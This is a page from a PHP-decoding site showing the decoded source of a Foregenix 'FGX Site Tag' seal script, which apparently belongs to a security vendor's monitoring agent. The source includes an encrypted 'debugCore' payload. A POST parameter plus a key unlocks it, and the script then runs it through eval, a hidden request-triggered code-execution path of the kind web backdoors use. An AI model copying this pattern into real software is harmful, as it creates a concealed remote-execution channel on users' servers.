Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /** FGX Site Tag -- Copyright Foregenix 2013, All Rights Reserved **/ $_FNAME=__FIL..
Decoded Output download
define('V','8582309815992d21');define('R','c32c2d2e88d216f6221046cab2a990ad8b7970d50a9acc5718dc3e8546442831');define('C','UQ0zQXjxnn6orxsdx8ojbL0Lc9/bO7aSYHgKaaWx5Xs=');define('AUTHP', 'LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FDL2JkNFRkMlFuRFgxaFRNUGw4d1RqelEyVwozWGtUNU9iVzdWRVlxZm1kUkhmcmJRdlMzcVVtMkxrL3d1QzFOKzd5ZEFNRUc4a2NBMGZ1L1dFTjFhM0prdTBSClc0enFwM05nandpRDd2cElhSTg2MFpHaVp5Y0FYUWJLQVFmU0NDeTJKNzRmK2pLY0RGKytsamJucU5Ha0JLQU8KdGVkZ0xhOTNkcXdvR1NaRTh3SURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQo=');$src=isset($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:"";
if ( isset($_SERVER['HTTP_X_FORWARDED_FOR']) ) $src = $_SERVER['HTTP_X_FORWARDED_FOR'];
define('SI','18332811605992d21a0fe641');
if(isset($_POST['showDebugInfo'])) {
$exts=get_loaded_extensions();
if(isset($_REQUEST['k'])){$k=htmlspecialchars($_REQUEST['k']);}else{ik();}
if(!$k){ik();}if(h(trim(d(base64_decode(C),$k,V)))!==R){ik();}
$debugCore='jUNVm3VE4G9y1sOxKaDrxeCzRPNyhmxW4vvl5d2M2ovDx/8j6vtmYj0N+t5VIKW64KhG9FKnQfODO499zvrrye0lMjlVLRbHDPQFLNoHD7Bk0G33F0RzZtlsZz3kkWsE8U/ynw/WT3H4cdhIypu4lCGE8VsY9e01wFu83qjWDPTlXaQNjl6gf5dmbN2cndpkFI59lIguMsomml0SHt0dsnK2Z6VOKYYOm0FFhwZnzlNK0p78K/M2UrNwAQWEgzM+DIivTgWma6HPYSOHoVTP3z5m2yJUL12qgFHkaY7YljF6zpplWTvrpm27KXTfaScPDOxrJXdEos2KUyXle25KCQNKT68ixkjq7sB2zaOtqWUAM+soYY842AV7x6og7a4PfObiZ4NohWrpcj9xm7pHtP6D3ErDtBSL5oXwYCu03DvWZZ0dzkpHOT5a2LDkqgPSc1ESjCUb0ep22e7QgfJOR9zgcD0IDdW43DaWLCofcz5Cl+MaIG4LmJjNLMEGCiBZwptyt8rm16ljbwiqg9d2oVpjHwiWLlApHaUTkRzkcPoTXhK807WHXT14Mmwiesx3MKrvmjGZToakyL3UD1jv+KPEJmnflUZNf3tk6ID+WjhS03Y/BXAlpdKGPAv4B3Ngl93gqiyhIqZbwdQej+IM9Kc4uNusZ8Xb35OXyEjrxX53PPjMA58ftget2f3s0ACw5eRHix4S0cpQ+ZAsJO2xtzcPCR8dsBMC9h9UKJyx+CDw6NEjgz56KDo6heDoHYj7+csF48dEHVI3G7fA9T+PXipWpGzItkPKjATvVvylCu5Fhtti+CGFETEwli/XCKqAfkQhK4WwV0C0EaDYn55+ZkDfbxIBQaFJ7f0KR0T/FwARKOWbZAnKNMTAC7ZlifJfRG0X9fQmjCEpYbcv/lnRC94/x/otMxGswU/lrMST6e+e+4XiWtKMdtAjXZC3QiNHBUF6AtsILJagV+1tnuJS+jdQoVQ6x+FY78MQEjGTMFc=';
eval(trim(gzuncompress(d(base64_decode($debugCore),$k,V))));
}
if(!isset($_REQUEST['k']) || !isset($_REQUEST['i']) || !isset($_REQUEST['e'])){
$cn = isset($_REQUEST['container']) ? addslashes($_REQUEST['container']):'FGXseal';
$si = isset($_REQUEST['size']) ? urlencode($_REQUEST['size']):'normal';
$pr = isset($_SERVER['HTTPS']) ? 'https' : 'http';
$faddr = isset($_SERVER['HTTPS']) ? 'portal.foregenix.com' : 'portal.foregenix.com';
header("content-type: application/x-javascript");
die("document.getElementById(\"$cn\").innerHTML = '<a href=\"#\" onclick=\"javascript:window.open(\'http://portal.foregenix.com/FGXsealInfo.php?si=".SI."\',\'Foregenix\',\'menubar=no,location=yes,alwaysRaised=yes,scrollbars=no,resizable=no,dependent=yes,status=no,top=30,left=300,width=350,height=300\'); return false;\" title=\"Secure Tag\"><img border=\"0\" src=\"//".$faddr."/FGXsealLogo.php?si=".SI."&size=$si\"/><\/a>';");
}
function req1(){
$exts=get_loaded_extensions();
$exts = array_map('strtolower', $exts);
$ts = array(
array('e'=>!function_exists('json_encode'),'m' => 'Install and enable the JSON extension.'),
array('e'=>!in_array('xmlwriter',$exts), 'm' => 'Install and enable the xmlwriter extension.'),
array('e'=>!in_array('mbstring',$exts),'m' => 'Install and enable the mbstring extension.'),
array('e'=>!function_exists('utf8_encode'),'m' => 'Install and enable xml extensions'),
array('e'=>!function_exists('hash_init'),'m' => 'Install and enable hash extension'),
array('e'=>!function_exists('preg_match'),'m' => 'Install and enable pcre extension'),
array('e'=>!in_array('spl', $exts),'m' => 'Install and enable the SPL extension.'),
);
$msgs = array();
foreach ( $ts as $t){ if ( $t['e'] ) { $msgs[] = $t['m']; } }
return $msgs;
}
function req(){
$msgs=req1();
if (count($msgs)){ fatal('f', implode(',', $msgs )); return; }
} req();
if(isset($_REQUEST['k'])){$k=htmlspecialchars($_REQUEST['k']);}else{ik();}if(isset($_REQUEST['i'])){$i=htmlspecialchars($_REQUEST['i']);}else{ua();}if(isset($_REQUEST['e'])){$e=htmlspecialchars($_REQUEST['e']);}else{bs();}function le(){fatal("a");}function ik(){fatal("b");}function io(){fatal("c");}function ua(){fatal("d");}function bs(){fatal("e");}function fatal($m,$msg='') { print <<<EndOfPage
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/><title>Foregenix FGX-Web</title></head><body><h1>Error</h1>Error 0x0$m. $msg The attempt has been logged</body></html>
EndOfPage;
exit;}
class Rjn { const MODE_CTR = -1; const MODE_ECB = 1; const MODE_CBC = 2; const MODE_CFB = 3; const MODE_OFB = 4; const MODE_STREAM = 5; static $WHIRLPOOL_AVAILABLE; const
ENGINE_INTERNAL = 1; var $mode; var $block_size = 16; var $key = false; var $iv = false; var $encryptIV; var $decryptIV; var $continuousBuffer = false; var $enbuffer; var
$debuffer; var $enchanged = true; var $dechanged = true; var $ecb; var $cfb_init_len = 600; var $changed = true; var $padding = true; var $paddable = false; var $engine;
var $preferredEngine; var $inline_crypt; var $use_inline_crypt; var $skip_key_adjustment = false; var $explicit_key_length = false; function setIV($iv) { if ($this->mode
== self::MODE_ECB) { throw new \InvalidArgumentException('This mode does not require an IV.'); } if ($this->mode == self::MODE_STREAM && $this->usesIV()) { throw new
\InvalidArgumentException('This algorithm does not use an IV.'); } if (strlen($iv) != $this->block_size) { throw new \LengthException('Received initialization vector of
size ' . strlen($iv) . ', but size ' . $this->block_size . ' is required'); } $this->iv = $iv; $this->changed = true; } function usesIV() { return true; } function
getKeyLength() { return $this->key_length << 3; } function getBlockLength() { return $this->block_size << 3; } function setPassword($password, $method = 'pbkdf2') { $key
= ''; switch ($method) { default: $func_args = func_get_args(); $hash = isset($func_args[2]) ? $func_args[2] : 'sha1'; $salt = isset($func_args[3]) ? $func_args[3] :
$this->password_default_salt; $count = isset($func_args[4]) ? $func_args[4] : 1000; if (isset($func_args[5])) { $dkLen = $func_args[5]; } else { $key_length =
$this->explicit_key_length !== false ? $this->explicit_key_length : $this->key_length; $dkLen = $method == 'pbkdf1' ? 2 * $key_length : $key_length; } switch (true) {
case $method == 'pbkdf1': $hashObj = new Hash(); $hashObj->setHash($hash); if ($dkLen > $hashObj->getLength()) { throw new \LengthException('Derived key length cannot be
longer than the hash length'); } $t = $password . $salt; for ($i = 0; $i < $count; ++$i) { $t = $hashObj->hash($t); } $key = substr($t, 0, $dkLen);
$this->setKey(substr($key, 0, $dkLen >> 1)); $this->setIV(substr($key, $dkLen >> 1)); return true; case !function_exists('hash_pbkdf2'): case
!function_exists('hash_algos'): case !in_array($hash, hash_algos()): $i = 1; while (strlen($key) < $dkLen) { $hmac = new Hash(); $hmac->setHash($hash);
$hmac->setKey($password); $f = $u = $hmac->hash($salt . pack('N', $i++)); for ($j = 2; $j <= $count; ++$j) { $u = $hmac->hash($u); $f^= $u; } $key.= $f; } $key =
substr($key, 0, $dkLen); break; default: $key = hash_pbkdf2($hash, $password, $salt, $count, $dkLen, true); } } $this->setKey($key); return true; } function
encrypt($plaintext) { if ($this->paddable) { $plaintext = $this->_pad($plaintext); } if ($this->changed) { $this->_setup(); $this->changed = false; } if
($this->use_inline_crypt) { $inline = $this->inline_crypt; return $inline('encrypt', $this, $plaintext); } $buffer = &$this->enbuffer; $block_size = $this->block_size;
$ciphertext = ''; switch ($this->mode) { case self::MODE_ECB: for ($i = 0; $i < strlen($plaintext); $i+=$block_size) { $ciphertext.=
$this->_encryptBlock(substr($plaintext, $i, $block_size)); } break; case self::MODE_CBC: $xor = $this->encryptIV; for ($i = 0; $i < strlen($plaintext); $i+=$block_size) {
$block = substr($plaintext, $i, $block_size); $block = $this->_encryptBlock($block ^ $xor); $xor = $block; $ciphertext.= $block; } if ($this->continuousBuffer) {
$this->encryptIV = $xor; } break; case self::MODE_CTR: $xor = $this->encryptIV; if (strlen($buffer['ciphertext'])) { for ($i = 0; $i < strlen($plaintext);
$i+=$block_size) { $block = substr($plaintext, $i, $block_size); if (strlen($block) > strlen($buffer['ciphertext'])) { $buffer['ciphertext'].= $this->_encryptBlock($xor);
} $this->_increment_str($xor); $key = $this->_string_shift($buffer['ciphertext'], $block_size); $ciphertext.= $block ^ $key; } } else { for ($i = 0; $i <
strlen($plaintext); $i+=$block_size) { $block = substr($plaintext, $i, $block_size); $key = $this->_encryptBlock($xor); $this->_increment_str($xor); $ciphertext.= $block
^ $key; } } if ($this->continuousBuffer) { $this->encryptIV = $xor; if ($start = strlen($plaintext) % $block_size) { $buffer['ciphertext'] = substr($key, $start) .
$buffer['ciphertext']; } } break; case self::MODE_CFB: if ($this->continuousBuffer) { $iv = &$this->encryptIV; $pos = &$buffer['pos']; } else { $iv = $this->encryptIV;
$pos = 0; } $len = strlen($plaintext); $i = 0; if ($pos) { $orig_pos = $pos; $max = $block_size - $pos; if ($len >= $max) { $i = $max; $len-= $max; $pos = 0; } else { $i
= $len; $pos+= $len; $len = 0; } $ciphertext = substr($iv, $orig_pos) ^ $plaintext; $iv = substr_replace($iv, $ciphertext, $orig_pos, $i); } while ($len >= $block_size) {
$iv = $this->_encryptBlock($iv) ^ substr($plaintext, $i, $block_size); $ciphertext.= $iv; $len-= $block_size; $i+= $block_size; } if ($len) { $iv =
$this->_encryptBlock($iv); $block = $iv ^ substr($plaintext, $i); $iv = substr_replace($iv, $block, 0, $len); $ciphertext.= $block; $pos = $len; } break; case
self::MODE_OFB: $xor = $this->encryptIV; if (strlen($buffer['xor'])) { for ($i = 0; $i < strlen($plaintext); $i+=$block_size) { $block = substr($plaintext, $i,
$block_size); if (strlen($block) > strlen($buffer['xor'])) { $xor = $this->_encryptBlock($xor); $buffer['xor'].= $xor; } $key = $this->_string_shift($buffer['xor'],
$block_size); $ciphertext.= $block ^ $key; } } else { for ($i = 0; $i < strlen($plaintext); $i+=$block_size) { $xor = $this->_encryptBlock($xor); $ciphertext.=
substr($plaintext, $i, $block_size) ^ $xor; } $key = $xor; } if ($this->continuousBuffer) { $this->encryptIV = $xor; if ($start = strlen($plaintext) % $block_size) {
$buffer['xor'] = substr($key, $start) . $buffer['xor']; } } break; case self::MODE_STREAM: $ciphertext = $this->_encryptBlock($plaintext); break; } return $ciphertext; }
function decrypt($ciphertext) { if ($this->paddable && strlen($ciphertext) % $this->block_size) { throw new \LengthException('The ciphertext length (' .
strlen($ciphertext) . ') needs to be a multiple of the block size (' . $this->block_size . ')'); } if ($this->changed) { $this->_setup(); $this->changed = false; } if
($this->use_inline_crypt) { $inline = $this->inline_crypt; return $inline('decrypt', $this, $ciphertext); } $block_size = $this->block_size; $buffer = &$this->debuffer;
$plaintext = ''; switch ($this->mode) { case self::MODE_ECB: for ($i = 0; $i < strlen($ciphertext); $i+=$block_size) { $plaintext.=
$this->_decryptBlock(substr($ciphertext, $i, $block_size)); } break; case self::MODE_CBC: $xor = $this->decryptIV; for ($i = 0; $i < strlen($ciphertext); $i+=$block_size)
{ $block = substr($ciphertext, $i, $block_size); $plaintext.= $this->_decryptBlock($block) ^ $xor; $xor = $block; } if ($this->continuousBuffer) { $this->decryptIV =
$xor; } break; case self::MODE_CTR: $xor = $this->decryptIV; if (strlen($buffer['ciphertext'])) { for ($i = 0; $i < strlen($ciphertext); $i+=$block_size) { $block =
substr($ciphertext, $i, $block_size); if (strlen($block) > strlen($buffer['ciphertext'])) { $buffer['ciphertext'].= $this->_encryptBlock($xor);
$this->_increment_str($xor); } $key = $this->_string_shift($buffer['ciphertext'], $block_size); $plaintext.= $block ^ $key; } } else { for ($i = 0; $i <
strlen($ciphertext); $i+=$block_size) { $block = substr($ciphertext, $i, $block_size); $key = $this->_encryptBlock($xor); $this->_increment_str($xor); $plaintext.= $block
^ $key; } } if ($this->continuousBuffer) { $this->decryptIV = $xor; if ($start = strlen($ciphertext) % $block_size) { $buffer['ciphertext'] = substr($key, $start) .
$buffer['ciphertext']; } } break; case self::MODE_CFB: if ($this->continuousBuffer) { $iv = &$this->decryptIV; $pos = &$buffer['pos']; } else { $iv = $this->decryptIV;
$pos = 0; } $len = strlen($ciphertext); $i = 0; if ($pos) { $orig_pos = $pos; $max = $block_size - $pos; if ($len >= $max) { $i = $max; $len-= $max; $pos = 0; } else { $i
= $len; $pos+= $len; $len = 0; } $plaintext = substr($iv, $orig_pos) ^ $ciphertext; $iv = substr_replace($iv, substr($ciphertext, 0, $i), $orig_pos, $i); } while ($len >=
$block_size) { $iv = $this->_encryptBlock($iv); $cb = substr($ciphertext, $i, $block_size); $plaintext.= $iv ^ $cb; $iv = $cb; $len-= $block_size; $i+= $block_size; } if
($len) { $iv = $this->_encryptBlock($iv); $plaintext.= $iv ^ substr($ciphertext, $i); $iv = substr_replace($iv, substr($ciphertext, $i), 0, $len); $pos = $len; } break;
case self::MODE_OFB: $xor = $this->decryptIV; if (strlen($buffer['xor'])) { for ($i = 0; $i < strlen($ciphertext); $i+=$block_size) { $block = substr($ciphertext, $i,
$block_size); if (strlen($block) > strlen($buffer['xor'])) { $xor = $this->_encryptBlock($xor); $buffer['xor'].= $xor; } $key = $this->_string_shift($buffer['xor'],
$block_size); $plaintext.= $block ^ $key; } } else { for ($i = 0; $i < strlen($ciphertext); $i+=$block_size) { $xor = $this->_encryptBlock($xor); $plaintext.=
substr($ciphertext, $i, $block_size) ^ $xor; } $key = $xor; } if ($this->continuousBuffer) { $this->decryptIV = $xor; if ($start = strlen($ciphertext) % $block_size) {
$buffer['xor'] = substr($key, $start) . $buffer['xor']; } } break; case self::MODE_STREAM: $plaintext = $this->_decryptBlock($ciphertext); break; } return $this->paddable
? $this->_unpad($plaintext) : $plaintext; } function _getIV($iv) { return $this->mode == self::MODE_ECB ? str_repeat("\0", $this->block_size) : $iv; } function
enablePadding() { $this->padding = true; } function disablePadding() { $this->padding = false; } function enableContinuousBuffer() { if ($this->mode == self::MODE_ECB) {
return; } $this->continuousBuffer = true; $this->_setEngine(); } function disableContinuousBuffer() { if ($this->mode == self::MODE_ECB) { return; } if
(!$this->continuousBuffer) { return; } $this->continuousBuffer = false; $this->changed = true; $this->_setEngine(); } function setPreferredEngine($engine) { switch
($engine) { default: case self::ENGINE_INTERNAL: $this->preferredEngine = $engine; break; } $this->_setEngine(); } function getEngine() { return $this->engine; } function
_setEngine() { $this->engine = null; $candidateEngines = array( $this->preferredEngine,); foreach ($candidateEngines as $engine) { if ($this->isValidEngine($engine)) {
$this->engine = $engine; break; } } if (!$this->engine) { $this->engine = self::ENGINE_INTERNAL; } $this->changed = true; } function _setup() { $this->_clearBuffers();
$this->_setupKey(); if ($this->use_inline_crypt) { $this->_setupInlineCrypt(); } } function _pad($text) { $length = strlen($text); if (!$this->padding) { if ($length %
$this->block_size == 0) { return $text; } else { throw new \LengthException("The plaintext's length ($length) is not a multiple of the block size ({$this->block_size}).
Try enabling padding."); } } $pad = $this->block_size - ($length % $this->block_size); return str_pad($text, $length + $pad, chr($pad)); } function _unpad($text) { if
(!$this->padding) { return $text; } $length = ord($text[strlen($text) - 1]); if (!$length || $length > $this->block_size) { throw new \LengthException("The ciphertext has
an invalid padding length ($length) compared to the block size ({$this->block_size})"); } return substr($text, 0, -$length); } function _clearBuffers() { $this->enbuffer
= $this->debuffer = array('ciphertext' => '', 'xor' => '', 'pos' => 0); if ($this->iv === false && !in_array($this->mode, array(self::MODE_STREAM, self::MODE_ECB))) {
throw new \UnexpectedValueException('No IV has been defined'); } $this->encryptIV = $this->decryptIV = $this->iv; } function _string_shift(&$string, $index = 1) { $substr
= substr($string, 0, $index); $string = substr($string, $index); return $substr; } function _string_pop(&$string, $index = 1) { $substr = substr($string, -$index);
$string = substr($string, 0, -$index); return $substr; } function _increment_str(&$var) { for ($i = 4; $i <= strlen($var); $i+= 4) { $temp = substr($var, -$i, 4); switch
($temp) { case "\xFF\xFF\xFF\xFF": $var = substr_replace($var, "\x00\x00\x00\x00", -$i, 4); break; case "\x7F\xFF\xFF\xFF": $var = substr_replace($var,
"\x80\x00\x00\x00", -$i, 4); return; default: $temp = unpack('Nnum', $temp); $var = substr_replace($var, pack('N', $temp['num'] + 1), -$i, 4); return; } } $remainder =
strlen($var) % 4; if ($remainder == 0) { return; } $temp = unpack('Nnum', str_pad(substr($var, 0, $remainder), 4, "\0", STR_PAD_LEFT)); $temp = substr(pack('N',
$temp['num'] + 1), -$remainder); $var = substr_replace($var, $temp, 0, $remainder); } function _createInlineCryptFunction($cipher_code) { $block_size = $this->block_size;
$init_crypt = isset($cipher_code['init_crypt']) ? $cipher_code['init_crypt'] : ''; $init_encrypt = isset($cipher_code['init_encrypt']) ?
$cipher_code['init_encrypt'] : ''; $init_decrypt = isset($cipher_code['init_decrypt']) ? $cipher_code['init_decrypt'] : ''; $encrypt_block =
$cipher_code['encrypt_block']; $decrypt_block = $cipher_code['decrypt_block']; switch ($this->mode) { case self::MODE_ECB: $encrypt = $init_encrypt . ' $_ciphertext = "";
$_plaintext_len = strlen($_text); for ($_i = 0; $_i < $_plaintext_len; $_i+= '.$block_size.') { $in = substr($_text, $_i, '.$block_size.'); '.$encrypt_block.'
$_ciphertext.= $in; } return $_ciphertext; '; $decrypt = $init_decrypt . ' $_plaintext = ""; $_text = str_pad($_text, strlen($_text) + ('.$block_size.' - strlen($_text) %
'.$block_size.') % '.$block_size.', chr(0)); $_ciphertext_len = strlen($_text); for ($_i = 0; $_i < $_ciphertext_len; $_i+= '.$block_size.') { $in = substr($_text, $_i,
'.$block_size.'); '.$decrypt_block.' $_plaintext.= $in; } return $self->_unpad($_plaintext); '; break; case self::MODE_CTR: $encrypt = $init_encrypt . ' $_ciphertext =
""; $_plaintext_len = strlen($_text); $_xor = $self->encryptIV; $_buffer = &$self->enbuffer; if (strlen($_buffer["ciphertext"])) { for ($_i = 0; $_i < $_plaintext_len;
$_i+= '.$block_size.') { $_block = substr($_text, $_i, '.$block_size.'); if (strlen($_block) > strlen($_buffer["ciphertext"])) { $in = $_xor; '.$encrypt_block.'
$self->_increment_str($_xor); $_buffer["ciphertext"].= $in; } $_key = $self->_string_shift($_buffer["ciphertext"], '.$block_size.'); $_ciphertext.= $_block ^ $_key; } }
else { for ($_i = 0; $_i < $_plaintext_len; $_i+= '.$block_size.') { $_block = substr($_text, $_i, '.$block_size.'); $in = $_xor; '.$encrypt_block.'
$self->_increment_str($_xor); $_key = $in; $_ciphertext.= $_block ^ $_key; } } if ($self->continuousBuffer) { $self->encryptIV = $_xor; if ($_start = $_plaintext_len %
'.$block_size.') { $_buffer["ciphertext"] = substr($_key, $_start) . $_buffer["ciphertext"]; } } return $_ciphertext; '; $decrypt = $init_encrypt . ' $_plaintext = "";
$_ciphertext_len = strlen($_text); $_xor = $self->decryptIV; $_buffer = &$self->debuffer; if (strlen($_buffer["ciphertext"])) { for ($_i = 0; $_i < $_ciphertext_len;
$_i+= '.$block_size.') { $_block = substr($_text, $_i, '.$block_size.'); if (strlen($_block) > strlen($_buffer["ciphertext"])) { $in = $_xor; '.$encrypt_block.'
$self->_increment_str($_xor); $_buffer["ciphertext"].= $in; } $_key = $self->_string_shift($_buffer["ciphertext"], '.$block_size.'); $_plaintext.= $_block ^ $_key; } }
else { for ($_i = 0; $_i < $_ciphertext_len; $_i+= '.$block_size.') { $_block = substr($_text, $_i, '.$block_size.'); $in = $_xor; '.$encrypt_block.'
$self->_increment_str($_xor); $_key = $in; $_plaintext.= $_block ^ $_key; } } if ($self->continuousBuffer) { $self->decryptIV = $_xor; if ($_start = $_ciphertext_len %
'.$block_size.') { $_buffer["ciphertext"] = substr($_key, $_start) . $_buffer["ciphertext"]; } } return $_plaintext; '; break; case self::MODE_CFB: $encrypt =
$init_encrypt . ' $_ciphertext = ""; $_buffer = &$self->enbuffer; if ($self->continuousBuffer) { $_iv = &$self->encryptIV; $_pos = &$_buffer["pos"]; } else { $_iv =
$self->encryptIV; $_pos = 0; } $_len = strlen($_text); $_i = 0; if ($_pos) { $_orig_pos = $_pos; $_max = '.$block_size.' - $_pos; if ($_len >= $_max) { $_i = $_max;
$_len-= $_max; $_pos = 0; } else { $_i = $_len; $_pos+= $_len; $_len = 0; } $_ciphertext = substr($_iv, $_orig_pos) ^ $_text; $_iv = substr_replace($_iv, $_ciphertext,
$_orig_pos, $_i); } while ($_len >= '.$block_size.') { $in = $_iv; '.$encrypt_block.'; $_iv = $in ^ substr($_text, $_i, '.$block_size.'); $_ciphertext.= $_iv; $_len-=
'.$block_size.'; $_i+= '.$block_size.'; } if ($_len) { $in = $_iv; '.$encrypt_block.' $_iv = $in; $_block = $_iv ^ substr($_text, $_i); $_iv = substr_replace($_iv,
$_block, 0, $_len); $_ciphertext.= $_block; $_pos = $_len; } return $_ciphertext; '; $decrypt = $init_encrypt . ' $_plaintext = ""; $_buffer = &$self->debuffer; if
($self->continuousBuffer) { $_iv = &$self->decryptIV; $_pos = &$_buffer["pos"]; } else { $_iv = $self->decryptIV; $_pos = 0; } $_len = strlen($_text); $_i = 0; if ($_pos)
{ $_orig_pos = $_pos; $_max = '.$block_size.' - $_pos; if ($_len >= $_max) { $_i = $_max; $_len-= $_max; $_pos = 0; } else { $_i = $_len; $_pos+= $_len; $_len = 0; }
$_plaintext = substr($_iv, $_orig_pos) ^ $_text; $_iv = substr_replace($_iv, substr($_text, 0, $_i), $_orig_pos, $_i); } while ($_len >= '.$block_size.') { $in = $_iv;
'.$encrypt_block.' $_iv = $in; $cb = substr($_text, $_i, '.$block_size.'); $_plaintext.= $_iv ^ $cb; $_iv = $cb; $_len-= '.$block_size.'; $_i+= '.$block_size.'; } if
($_len) { $in = $_iv; '.$encrypt_block.' $_iv = $in; $_plaintext.= $_iv ^ substr($_text, $_i); $_iv = substr_replace($_iv, substr($_text, $_i), 0, $_len); $_pos = $_len;
} return $_plaintext; '; break; case self::MODE_OFB: $encrypt = $init_encrypt . ' $_ciphertext = ""; $_plaintext_len = strlen($_text); $_xor = $self->encryptIV; $_buffer
= &$self->enbuffer; if (strlen($_buffer["xor"])) { for ($_i = 0; $_i < $_plaintext_len; $_i+= '.$block_size.') { $_block = substr($_text, $_i, '.$block_size.'); if
(strlen($_block) > strlen($_buffer["xor"])) { $in = $_xor; '.$encrypt_block.' $_xor = $in; $_buffer["xor"].= $_xor; } $_key = $self->_string_shift($_buffer["xor"],
'.$block_size.'); $_ciphertext.= $_block ^ $_key; } } else { for ($_i = 0; $_i < $_plaintext_len; $_i+= '.$block_size.') { $in = $_xor; '.$encrypt_block.' $_xor = $in;
$_ciphertext.= substr($_text, $_i, '.$block_size.') ^ $_xor; } $_key = $_xor; } if ($self->continuousBuffer) { $self->encryptIV = $_xor; if ($_start = $_plaintext_len %
'.$block_size.') { $_buffer["xor"] = substr($_key, $_start) . $_buffer["xor"]; } } return $_ciphertext; '; $decrypt = $init_encrypt . ' $_plaintext = ""; $_ciphertext_len
= strlen($_text); $_xor = $self->decryptIV; $_buffer = &$self->debuffer; if (strlen($_buffer["xor"])) { for ($_i = 0; $_i < $_ciphertext_len; $_i+= '.$block_size.') {
$_block = substr($_text, $_i, '.$block_size.'); if (strlen($_block) > strlen($_buffer["xor"])) { $in = $_xor; '.$encrypt_block.' $_xor = $in; $_buffer["xor"].= $_xor; }
$_key = $self->_string_shift($_buffer["xor"], '.$block_size.'); $_plaintext.= $_block ^ $_key; } } else { for ($_i = 0; $_i < $_ciphertext_len; $_i+= '.$block_size.') {
$in = $_xor; '.$encrypt_block.' $_xor = $in; $_plaintext.= substr($_text, $_i, '.$block_size.') ^ $_xor; } $_key = $_xor; } if ($self->continuousBuffer) {
$self->decryptIV = $_xor; if ($_start = $_ciphertext_len % '.$block_size.') { $_buffer["xor"] = substr($_key, $_start) . $_buffer["xor"]; } } return $_plaintext; ';
break; case self::MODE_STREAM: $encrypt = $init_encrypt . ' $_ciphertext = ""; '.$encrypt_block.' return $_ciphertext; '; $decrypt = $init_decrypt . ' $_plaintext = "";
'.$decrypt_block.' return $_plaintext; '; break; default: $encrypt = $init_encrypt . ' $_ciphertext = ""; $_plaintext_len = strlen($_text); $in = $self->encryptIV; for
($_i = 0; $_i < $_plaintext_len; $_i+= '.$block_size.') { $in = substr($_text, $_i, '.$block_size.') ^ $in; '.$encrypt_block.' $_ciphertext.= $in; } if
($self->continuousBuffer) { $self->encryptIV = $in; } return $_ciphertext; '; $decrypt = $init_decrypt . ' $_plaintext = ""; $_text = str_pad($_text, strlen($_text) +
('.$block_size.' - strlen($_text) % '.$block_size.') % '.$block_size.', chr(0)); $_ciphertext_len = strlen($_text); $_iv = $self->decryptIV; for ($_i = 0; $_i <
$_ciphertext_len; $_i+= '.$block_size.') { $in = $_block = substr($_text, $_i, '.$block_size.'); '.$decrypt_block.' $_plaintext.= $in ^ $_iv; $_iv = $_block; } if
($self->continuousBuffer) { $self->decryptIV = $_iv; } return $self->_unpad($_plaintext); '; break; } return create_function('$_action, &$self, $_text', $init_crypt . 'if
($_action == "encrypt") { ' . $encrypt . ' } else { ' . $decrypt . ' }'); } function &_getLambdaFunctions() { static $functions = array(); return $functions; } function
_hashInlineCryptFunction($bytes) { if (!isset(self::$WHIRLPOOL_AVAILABLE)) { self::$WHIRLPOOL_AVAILABLE = extension_loaded('hash') && in_array('whirlpool', hash_algos());
} $result = ''; $hash = $bytes; switch (true) { case self::$WHIRLPOOL_AVAILABLE: foreach (str_split($bytes, 64) as $t) { $hash = hash('whirlpool', $hash, true); $result
.= $t ^ $hash; } return $result . hash('whirlpool', $hash, true); default: $len = strlen($bytes); for ($i = 0; $i < $len; $i+=20) { $t = substr($bytes, $i, 20); $hash =
pack('H*', sha1($hash)); $result .= $t ^ $hash; } return $result . pack('H*', sha1($hash)); } } /* --- */ var $password_default_salt = 'phpseclib'; var $w; var $dw; var
$Nb = 4; var $key_length = 16; var $Nk = 4; var $Nr; var $c; var $kl; function __construct($mode) { if ($mode == self::MODE_STREAM) { throw new
\InvalidArgumentException('Block ciphers cannot be ran in stream mode'); } /* --- */ switch ($mode) { case self::MODE_ECB: case self::MODE_CBC: $this->paddable = true;
break; case self::MODE_CTR: case self::MODE_CFB: case self::MODE_OFB: case self::MODE_STREAM: $this->paddable = false; break; default: throw new
\InvalidArgumentException('No valid mode has been specified'); } $this->mode = $mode; if ($this->use_inline_crypt !== false && function_exists('create_function')) {
$this->use_inline_crypt = true; } } function setKeyLength($length) { switch ($length) { case 128: case 160: case 192: case 224: case 256: $this->key_length = $length >>
3; break; default: throw new \LengthException('Key size of ' . $length . ' bits is not supported by this algorithm. Only keys of sizes 128, 160, 192, 224 or 256 bits are
supported'); } $this->explicit_key_length = $length >> 3; if (is_string($this->key) && strlen($this->key) != $this->explicit_key_length) { $this->key = false; throw new
\LengthException('Key has already been set and is not ' .$this->explicit_key_length . ' bytes long'); } } function setKey($key) { switch (strlen($key)) { case 16: case
20: case 24: case 28: case 32: break; default: throw new \LengthException('Key of size ' . strlen($key) . ' not supported by this algorithm. Only keys of sizes 16, 20,
24, 28 or 32 are supported'); } if ($this->explicit_key_length !== false && strlen($key) != $this->explicit_key_length) { throw new \LengthException('Key length has
already been set to ' . $this->explicit_key_length . ' bytes and this key is ' . strlen($key) . ' bytes'); } $this->key = $key; $this->key_length = strlen($key);
$this->changed = true; $this->_setEngine(); } function setBlockLength($length) { switch ($length) { case 128: case 160: case 192: case 224: case 256: break; default:
throw new \LengthException('Key size of ' . $length . ' bits is not supported by this algorithm. Only keys of sizes 128, 160, 192, 224 or 256 bits are supported'); }
$this->Nb = $length >> 5; $this->block_size = $length >> 3; $this->changed = true; $this->_setEngine(); } function isValidEngine($engine) { switch ($engine) { case
self::ENGINE_INTERNAL: return true; } return false; } function _encryptBlock($in) { static $tables; if (empty($tables)) { $tables = &$this->_getTables(); } $t0 =
$tables[0]; $t1 = $tables[1]; $t2 = $tables[2]; $t3 = $tables[3]; $sbox = $tables[4]; $state = array(); $words = unpack('N*', $in); $c = $this->c; $w = $this->w;
$Nb = $this->Nb; $Nr = $this->Nr; $wc = $Nb - 1; foreach ($words as $word) { $state[] = $word ^ $w[++$wc]; } $temp = array(); for ($round = 1; $round < $Nr; ++$round) {
